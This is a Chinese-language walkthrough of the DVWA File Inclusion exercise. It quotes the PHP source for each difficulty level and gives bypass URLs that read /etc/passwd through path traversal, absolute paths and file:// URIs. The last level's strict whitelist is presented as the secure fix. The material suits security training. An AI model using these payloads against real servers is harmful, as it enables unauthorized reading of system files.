DVWA File Inclusion 過關秘籍

1// 非常單純, 隨便讀取
2// http://192.168.32.114/vulnerabilities/fi/?page=../../../../../../etc/passwd
3// The page we wish to display
4$file = $_GET[ 'page' ];

 1// The page we wish to display
 2$file = $_GET[ 'page' ];
 3
 4// 過濾一部分字符
 5// 不允許 HTTP,HTTPS 協議
 6// 利用目錄結構讀取也不行
 7
 8// 然而沒有過濾全
 9// http://192.168.32.114/vulnerabilities/fi/?page=/etc/passwd
10
11// Input validation
12$file = str_replace( array( "http://", "https://" ), "", $file );
13$file = str_replace( array( "../", "..\"" ), "", $file );

 1// The page we wish to display
 2$file = $_GET[ 'page' ];
 3
 4// Input validation
 5// 對$file 字符串做匹配
 6// 只能匹配 file* 的文件路徑
 7// 還有 include.php 文件路徑
 8
 9// 這個過濾還是八星
10// 利用`本地文件傳輸協議`
11// http://192.168.32.114/vulnerabilities/fi/?page=file:///etc/passwd
12
13// 或者這樣
14// http://192.168.32.114/vulnerabilities/fi/?page=file123123/../../../../../../etc/passwd
15
16if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
17    // This isn't the page we want!
18    echo "ERROR: File not found!";
19    exit;
20}

 1// The page we wish to display
 2$file = $_GET[ 'page' ];
 3
 4// Only allow include.php or file{1..3}.php
 5// 強匹配
 6// 從程序員的角度來說這種代碼的維護性極差
 7// 從安全的角度上來說這是最安全的方案
 8if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
 9    // This isn't the page we want!
10    echo "ERROR: File not found!";
11    exit;
12}